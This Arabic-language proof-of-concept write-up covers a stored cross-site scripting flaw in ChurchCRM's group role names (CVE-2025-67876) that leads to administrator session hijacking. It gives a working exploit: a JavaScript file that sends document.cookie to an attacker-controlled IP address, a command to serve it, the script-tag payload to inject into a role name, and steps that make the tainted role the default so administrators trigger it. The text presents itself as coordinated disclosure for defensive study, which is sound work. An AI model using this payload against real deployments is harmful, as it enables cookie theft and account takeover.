
إثبات مفهوم مفصل لـ CVE-2025-67876 يوضح XSS المخزنة في أسماء أدوار مجموعة ChurchCRM مما يؤدي إلى اختطاف جلسة المسؤول، مع شرح كامل للاستغلال وتوصيات المعالجة.
| الحقل | التفاصيل |
|---|
| CVE ID | CVE-2025-67876 |
| الخطورة | حرج |
| التنبيه | عرض التنبيه |
| اكتشفه | Lukasz Rybak |
توجد ثغرة XSS مخزَّنة في ChurchCRM تسمح لمستخدم منخفض الصلاحية لديه صلاحية "إدارة المجموعات" بحقن JavaScript دائم في أسماء أدوار المجموعات. يتم حفظ الحمولة في قاعدة البيانات وتنفيذها عندما يطلع أي مستخدم (بما في ذلك المسؤولين) على صفحة تعرض ذلك الدور، مثل GroupView.php أو PersonView.php. يسمح هذا باختطاف الجلسة بالكامل والاستيلاء على الحساب.
السبب الجذري هو نقص التحقق من صحة المدخلات وترميز المخرجات في معالجة أسماء أدوار المجموعات.
عند تحرير مجموعة في GroupEditor.php، يمكن للمستخدم تعديل أسماء الأدوار. لا يقوم التطبيق بتنظيف المدخلات (على سبيل المثال، لا strip_tags، ولا htmlspecialchars، ولا تحقق من ناحية الخادم). يتم تخزين القيمة في جدول قاعدة البيانات list_lst.
لاحقًا، يتم حقن القيمة المخزنة مباشرة في HTML دون ترميز:
<span>.يمكن للمستخدم منخفض الصلاحية (مع صلاحية إدارة المجموعات) وبالتالي رفع صلاحياته إلى مسؤول كامل عن طريق حقن JavaScript في دور وتعيين ذلك الدور لمسؤول.
إنشاء x.js على جهاز يتحكم به المهاجم:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
خدم الملف:
python3 -m http.server 800
تسجيل الدخول كمستخدم لديه صلاحية إدارة المجموعات.
الانتقال إلى: المجموعات ← قائمة المجموعات ← اختيار أي مجموعة ← الإعدادات.
في قسم "أدوار المجموعات"، تحرير دور موجود أو إنشاء دور جديد.
إدراج حمولة ضارة:
"><script src=//172.20.0.1:800/x.js></script>

في قائمة أدوار المجموعات، انقر على "افتراضي" بجوار الدور الذي يحتوي على حمولة XSS المحقونة. يضمن ذلك تعيين الدور الضار تلقائيًا لأي مستخدم يضاف إلى المجموعة، مما يزيد من احتمالية أن يقوم مسؤول بتشغيل XSS عند عرض ملفه الشخصي.
انقر على "حذف" بجوار الدور الافتراضي السابق، عادةً "عضو". يؤدي إزالة الدور الافتراضي النظيف إلى إجبار النظام على استخدام الدور المحقون بـ XSS لجميع التعيينات المستقبلية، مما يضمن التنفيذ عندما يطلع الضحية على أي صفحة تعرض دوره المعين.

الذهاب إلى صفحة عرض المجموعة.
إضافة أي مستخدم كعضو في المجموعة (مثل مسؤول Church).
اختيار الدور الضار من القائمة المنسدلة.
حفظ التعيين.
عندما يزور الضحية (المسؤول):
ملف المستخدم الخاص به: PersonView.php
صفحة عرض المجموعة: GroupView.php
يتم تنفيذ JavaScript المخزنة فورًا.
على خادم المهاجم، ستظهر الطلبات الواردة:


يؤكد هذا الاستيلاء الناجح على الحساب.
CWE-79: تحييد غير صحيح للمدخلات أثناء إنشاء صفحة الويب ('Cross-site Scripting')
تم الكشف عن هذا CVE بشكل مسؤول وفقًا لممارسات الكشف عن الثغرات المنسقة. المعلومات المقدمة هنا لأغراض تعليمية ودفاعية فقط.